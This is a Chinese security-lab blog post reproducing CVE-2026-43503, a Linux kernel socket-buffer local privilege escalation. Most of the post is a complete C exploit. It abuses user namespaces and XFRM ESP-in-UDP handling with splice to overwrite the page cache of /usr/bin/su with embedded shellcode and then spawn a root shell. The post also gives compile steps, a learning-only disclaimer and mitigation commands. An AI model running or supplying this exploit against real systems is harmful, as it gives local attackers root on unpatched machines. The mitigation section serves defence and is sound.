【成功复现】Linux内核Socket Buffer本地提权漏洞(CVE-2026-43503)
原创
弥天安全实验室
弥天安全实验室
弥天安全实验室
2026年7月2日 00:02
陕西
在小说阅读器读本章
去阅读
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
linux是美国Linux基金会开源的一个操作系统内核。
Linux kernel存在安全漏洞,该漏洞源于碎片传输辅助函数未能传播SKBFL\_SHARED\_FRAG位,可能导致目标skb报告skb\_has\_shared\_frag()为假。
0x02影响版本
`Linux Kernel 3.9 至 5.10.256
Linux Kernel 5.11 至 5.15.207
Linux Kernel 5.16 至 6.1.173
Linux Kernel 6.2 至 6.6.140
Linux Kernel 6.7 至 6.12.90
Linux Kernel 6.13 至 6.18.32
Linux Kernel 6.19 至 7.0.9
Linux Kernel 7.1-rc1 至 7.1-rc4
已知受影响发行版:Ubuntu、Debian、Fedora
利用前提条件:
1、系统启用非特权用户命名空间,允许普通用户创建 network namespace 并在该命名空间内获得 CAP_NET_ADMIN
2、系统启用 IPsec/XFRM 网络栈相关功能(如 ESP4/ESP6 处理路径)`
0x03漏洞复现
1.连接环境,普通用户权限
2.漏洞复现
上传漏洞利用exp,进行编译
sudo gcc -O0 -Wall -static -o CVE-2026-43503 CVE-2026-43503.c -lutil
执行编译后的文件,成功本地提权到root
漏洞利用c代码
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <sched.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/uio.h>#include <sys/ioctl.h>#include <sys/wait.h>#include <netinet/in.h>#include #include <net/if.h>#include <linux/if.h>#include <linux/netlink.h>#include <linux/rtnetlink.h>#include <linux/xfrm.h>
#ifndef UDP_ENCAP#define UDP_ENCAP 100#endif#ifndef UDP_ENCAP_ESPINUDP#define UDP_ENCAP_ESPINUDP 2#endif#ifndef SOL_UDP#define SOL_UDP 17#endif
#define ENC_PORT 4500#define SEQ_VAL 200#define REPLAY_SEQ 100#define TARGET_PATH \"/usr/bin/su\"#define PATCH_OFFSET 0#define PAYLOAD_LEN 192#define ENTRY_OFFSET 0x78
static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};
extern int g_su_verbose;int g_su_verbose = 0;#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, \"[su] \" fmt \"\
\", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf){ int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n;}
static void setup_userns_netns(void){ uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG(\"unshare: %s\", strerror(errno)); exit(1); } write_proc(\"/proc/self/setgroups\", \"deny\"); char map[64]; snprintf(map, sizeof(map), \"0 %u 1\", real_uid); if (write_proc(\"/proc/self/uid_map\", map) < 0) { SLOG(\"uid_map: %s\", strerror(errno)); exit(1); } snprintf(map, sizeof(map), \"0 %u 1\", real_gid); if (write_proc(\"/proc/self/gid_map\", map) < 0) { SLOG(\"gid_map: %s\", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG(\"socket: %s\", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, \"lo\", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG(\"SIOCGIFFLAGS: %s\", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG(\"SIOCSIFFLAGS: %s\", strerror(errno)); exit(1); } close(s);}
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len){ struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);}
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi){ int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr(\"127.0.0.1\"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr(\"127.0.0.1\"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr(\"127.0.0.1\"); xs->sel.saddr.a4 = inet_addr(\"127.0.0.1\");
{ char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, \"hmac(sha256)\", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, \"cbc(aes)\", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); }
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0;}
static int do_one_write(const char *path, off_t offset, uint32_t spi){ int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr(\"127.0.0.1\") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return 0;}
static int verify_byte(const char *path, off_t offset, uint8_t want){ int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1;}
static int corrupt_su(void){ setup_userns_netns(); usleep(100 * 1000);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG(\"add_xfrm_sa #%d failed\", i); return -1; } } SLOG(\"installed %d xfrm SAs\", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG(\"do_one_write #%d failed\", i); return -1; } } SLOG(\"wrote %d bytes to %s\", PAYLOAD_LEN, TARGET_PATH); return 0;}
int su_lpe_main(int argc, char **argv){ for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], \"-v\") || !strcmp(argv[i], \"--verbose\")) g_su_verbose = 1; } if (getenv(\"DIRTYFRAG_VERBOSE\")) g_su_verbose = 1;
pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG(\"corruption stage failed\"); return 1; }
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG(\"verify failed\"); return 1; } printf(\"[+] /usr/bin/su page-cache patched successfully!\
\"); return 0;}
int main(int argc, char **argv){ printf(\"=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh \\\"0xBlackash\\\" ===\
\"); printf(\"[*] uid=%d euid=%d\
\", getuid(), geteuid());
if (getuid() == 0) { execlp(\"/bin/sh\", \"sh\", NULL); return 1; }
int rc = su_lpe_main(argc, argv); if (rc == 0) { printf(\"[+] Success! Spawning root shell...\
\"); execl(\"/usr/bin/su\", \"su\", \"-c\", \"/bin/sh\", NULL); }
printf(\"[-] Exploit failed\
\"); return 1;}
0x04修复建议****
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
临时缓解方案
1.禁用非特权用户命名空间
sudo sysctl -w kernel.unprivileged_userns_clone=0echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf
2.黑名单 vulnerable 内核模块
# 创建模块黑名单sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOFinstall rxrpc /bin/falseinstall esp4 /bin/falseinstall esp6 /bin/falseEOF# 卸载已加载的模块sudo rmmod rxrpc esp4 esp6 2>/dev/null || true
注意: 禁用 esp4/esp6 会破坏 IPsec VPN 功能,仅在服务器不使用 IPsec 时适用。rxrpc 模块仅在 AFS 部署中使用。
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5ahttps://github.com/0xBlackash/CVE-2026-43503
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论